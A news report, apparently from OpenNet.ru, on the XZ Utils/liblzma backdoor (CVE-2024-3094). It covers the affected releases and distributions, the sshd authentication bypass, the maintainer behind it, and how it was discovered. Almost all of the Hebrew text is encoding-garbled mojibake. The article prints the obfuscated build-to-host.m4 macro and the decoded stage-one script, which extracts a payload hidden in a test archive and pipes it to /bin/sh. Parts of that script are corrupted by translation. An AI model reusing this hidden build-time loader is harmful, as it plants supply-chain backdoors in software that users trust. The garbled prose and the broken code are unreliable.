ืืืืืืช XZ Utils, ืืืืืืช ืืช ืกืคืจืืืช liblzma ืืืื ืขืืจ ืืขืืืื ืขื ื ืชืื ืื ืืืืกืื ืืคืืจืื ".xz", ืืืืชื ืืืช ืืืืจืืช (CVE-2024-3094) ืืืืคืฉืจืช ืืืจืื ืืฉืื ืื ืฉื ื ืชืื ืื ืืืขืืืืื ืขื ืืื ืืคืืืงืฆืืืช ืืงืฉืืจืืช ืขื ืกืคืจืืืช ืืืืืืื. ืืืืจื ืืขืืงืจืืช ืฉื ืืืืช ืืืืืจืืช ืืื ืฉืจืช OpenSSH, ืืฉืจ ืืืคืฆืืช ืืกืืืืืช ืืฆืืจืฃ ืขื ืกืคืจืืืช libsystemd, ืืฉืจ ืืชืืจื ืืฉืชืืฉืช ื-liblzma. ืงืืฉืืจ sshd ืขื ืกืคืจืืื ืคืืืขื ืืืคืฉืจ ืืชืืงืคืื ืืงืื ืืืฉื ืืฉืจืช SSH ืืื ืืืืืช.
ืืืืช ืืืืืจืืช ืืืืชื ืงืืืืช ืืืืืืจืืช ืืจืฉืืืืช 5.6.0 ื-5.6.1, ืฉืคืืจืกืื ื-24 ืืคืืจืืืจ ืื-9 ืืืจืฅ, ืฉืืฆืืืื ืืืืื ืก ืืืื ืืคืฆืืช ืืืืืจืื, ืืืฉื, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ื- 40 ืืื, openSUSE ืืคืขื ื-tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva ืจืืืื ื, ืืจื pkgsrc, ืืจื Slackware, ืืืืงืืช Manjaro. ืืืืืฅ ืืื ืืืฉืชืืฉืื ืืืืืืจืืช xz 5.6.0 ื-5.6.1 ืืืืืจ ืืืืืคืืช ืืืจืกื 5.4.6.
ืืื ืืืืจืืื ืืืงืืื ืขื ืืืขืื, ื ืืชื ืืฆืืื ืื ืืืจืกื ืฉื liblzma ืขื ืืืช ืืืืจืืช ืื ืืฆืืืื ืืืคืื ืืืืง ืืืืจืกืืืช ืืืฆืืืืช ืฉื ืืคืฆืืช ืืืืืืช, ืืื ืืฉืคืืขื ืขื openSUSE Tumbleweed ื-Fedora 40-beta. Arch Linux ืื'ื ืื ืืฉืชืืฉื ืืืจืกื ืคืืืขื ืฉื zx, ืื ืืื ื ืจืืืฉืืช ืืืชืงืคื ืื ืื ืืื ื ืืืืืืช ืืช ืืชืืงืื systemd-notify ื-openssh, ืื ืฉืืืจื ื-sshd ืืืืืช ืืงืืฉืจ ื-liblzma. ืืืืช ืืืืืจืืช ืืฉืคืืขื ืจืง ืขื ืืขืจืืืช x86_64 ืืืืืกืกืืช ืขื ืืืืช ืืื ืืงืก ืืกืคืจืืืช Glibc C.
ืงืื ืืืคืขืื ืฉื ืืืืช ืืืืืจืืช ืืืกืชืจ ืืคืงืืืืช ืืืงืจื m4 ืืืงืืืฅ build-to-host.m4 ืืืฉืืฉ ืืช ืขืจืืช ืืืืื ืฉื automake ืืขืช ืืื ืืื. ืืืืื ืืืจืืื, ืืืืื ืืืฆืืข ืคืขืืืืช ืืกืืืืืช ืืืขืืจืคืืืช ืืืืืกืกืืช ืขื ืืจืืืื ืื (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ืฉืฉืืืฉื ืืืืืงืช ื ืืื ืืช ืืคืขืืื, ื ืืฆืจ ืงืืืฅ ืืืืืืงื ืขื ืงืื ืืืื ื, ืฉื ืืื ื- ืกืคืจืืืช liblzma ืืฉืื ืชื ืืช ืืืืืื ืืคืขืืื ืฉื ืืืง ืืืคืื ืงืฆืืืช ืฉืื. ืคืงืืืืช ืืืืงืจื m4 ืฉืืคืขืืืืช ืืช ืืืืช ืืืืืจืืช ื ืืืื ื-tarballs ืืฉืืจืืจ, ืื ืื ืืื ืืืืืจ Git. ืืืงืืื, ื ืืื ืืืืืจ ืืจืืืื ื ืืืืงืืช ืืืื ืืื, ืืืืืจ. ืืืื ืฉืืืืืข ืืช ืืืืช ืืืืืจืืช ืืืืชื ืืืฉื ืื ืืืืืจ ืืื ืืชืืืืื ืืฆืืจืช ืืฉืืจืืจ.
ืืขืช ืฉืืืืฉ ื-liblzma ืืืืฉืืืื, ืฉืื ืืืื ืืืื ืืื ืขืฉืืืื ืืฉืืฉ ืืื ืืืืจื ืื ืืฉื ืืช ื ืชืื ืื, ืื ืืืฉืคืืข ืขื ืคืขืืืช sshd. ืืคืจื, ืืงืื ืืืืื ื ืืืืฃ ืืช ืืคืื ืงืฆืื RSA_public_decrypt ืืื ืืขืงืืฃ ืืช ืชืืืื ืืืืืืช sshd. ืืืืช ืืืืืจืืช ืืืื ืืื ื ืืคื ื ืืืืื ืืื ืืื ืืืื ืืืืื ืืืฉืจ ืืืืืจื ืืฉืชื ื ืืกืืืื LANG ื-TERM (ืืืืืจ, ืืขืช ืืคืขืืช ืืชืืืื ืืืจืืื ื) ืืืฉืชื ื ืืกืืืื LD_DEBUG ื-LD_PROFILE ืื ืืืืืจื, ืืื ืืืคืขื ืจืง ืืขืช ืืืฆืืข ื- ืงืืืฅ ืืืคืขืื /usr/sbin/sshd . ืืืืช ืืืืืจืืช ืืื ืื ืืืฆืขื ืืืืืื ืืืฆืืข ืืกืืืืืช ื ืืคืื ืืืืื.
ืืืืืื, ืืงืืืฅ m4/build-to-host.m4 ืืฉืชืืฉ ื-gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` โฆ gl_[$1]_config='sed \ยปr\n\ยป $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
ืืื ืืื ืืจืืฉืื ื, ืคืขืืืช grep ืืฆืื ืืช ืืงืืืฅ tests/files/bad-3-corrupt_lzma2.xz, ืืฉืจ ืืืืจ ืคืจืืงืช ืืืืืื ืืฆืจ ืืช ืืกืงืจืืคื: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ืืฆืืื 0 [ ! $(uname) = "Linux" ] && ืืฆืืื 0 [ ! $(uname) = "Linux" ] && ืืฆืืื 0 [ ! $(uname) = "Linux" ] && ืืฆืืื 0 [ ! $(uname) = "Linux" ] && ืืฆืืื 0 eval `grep ^srcdir= config.status` ืื test -f ../../config.status;ืืื eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirยป fi export i=ยป((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw โlzma1 -dc|/bin/sh ####World####
ืืืฆื ืืฆืืืื ืืชืืงืคืื ืืืฉืื ืืืฉื ืืชืฉืชืืช ืฉื ืคืจืืืงื xz ืขืืืื ืื ืืืืืจ ืืืืืื. ืืื ืื, ืขืืืื ืื ืืจืืจ ืืื ืืฉืชืืฉืื ืืคืจืืืงืืื ื ืคืืขื ืืชืืฆืื ืืืืืช ืืืืืจืืช. ืืืืืจ ืืืืืจื ืฉื ืืืืช ืืืืืจืืช (JiaT75 - Jia Tan), ืฉืคืจืกื ืืจืืืื ืื ืขื ืงืื ืืืื ื ืืืืืจ, ืืชืืชื ืขื ืืคืชืื ืคืืืจื ืืฉืื ืืงืฉืืช ืืฉืืื ืืืืืื ืืงืฉืืจืืช ืืืขืืจ ืืืคืฆืืช ืืกื ืืฃ xz 5.6.0, ืืื ืขืฉื ืืืช. ืืขืืจืจ ืืฉื, ืืื ืฉืืฉืชืชืฃ ื-xz ืืคืชื ืืฉื ืชืืื ืืืืจืื ืืช ืืืื ืืืคืชื ืืฉื ื ืืืืื ืช ืืกืคืจ ืืฉืื ืืืื ืฉืืืฆืขื. ืื ืืกืฃ ืืคืจืืืงื xz, ืืืืืจ ืืืืืจื ืฉื ืืืืช ืืืืืจืืช ืืฉืชืชืฃ ืื ืืคืืชืื ืืืืืืืช xz-java ื-xz-embedded. ืืชืจื ืืื, Jia Tan ืืคื ื ืืกืคืจ ืืืื ื ืืื ืืืกืคืจ ืืืชืืืงืื ืฉื ืคืจืืืงื XZ Embedded ืืฉืืืืฉ ืืืืืช ืืื ืืงืก.
ืืฉืื ืื ืืืืื ื ืืชืืื ืืืืจ ื ืืชืื ืฆืจืืืช ืืขืื ืืืืืืช ืืฉืืืืืช ืฉื ืืฆืจื ืขื ืืื valgrind ืืขืช ืืืืืจ ืืืืฆืขืืช ssh ืืืขืจืืืช ืืืืกืกืืช Debian side. ืจืืื ืืฆืืื ืฉืืืืืืจื ืฉื xz 5.6.1 ืืืื ืฉืื ืืืื ืฉืืืื ื ืขื ืืื ืืืืืจ ืืืืืจื ืฉื ืืืืช ืืืืืจืืช ืืชืืืื ืืชืืื ืืช ืขื ืืืืืช sshd ืืชืจืืกืืช ืฉืืชืขืืจืจื ืืืืจ ืฉืืจืื ืืืจืกืช zx 5.6.0 ืขื ืืืืช ืืืืืจืืช. ืื ืืกืฃ, ืืฉื ื ืฉืขืืจื ืืืฆืขื Jia Tan ืฉืื ืืืื ืฉืืื ื ืชืืืืื ืืช ืืฆื ืืืืืงื "-fsanitize=address", ืื ืฉืืจื ืืืฉืืชื ืืืืื ืืืืงืืช ื-fuzz.
ืืงืืจ: OpenNet.ru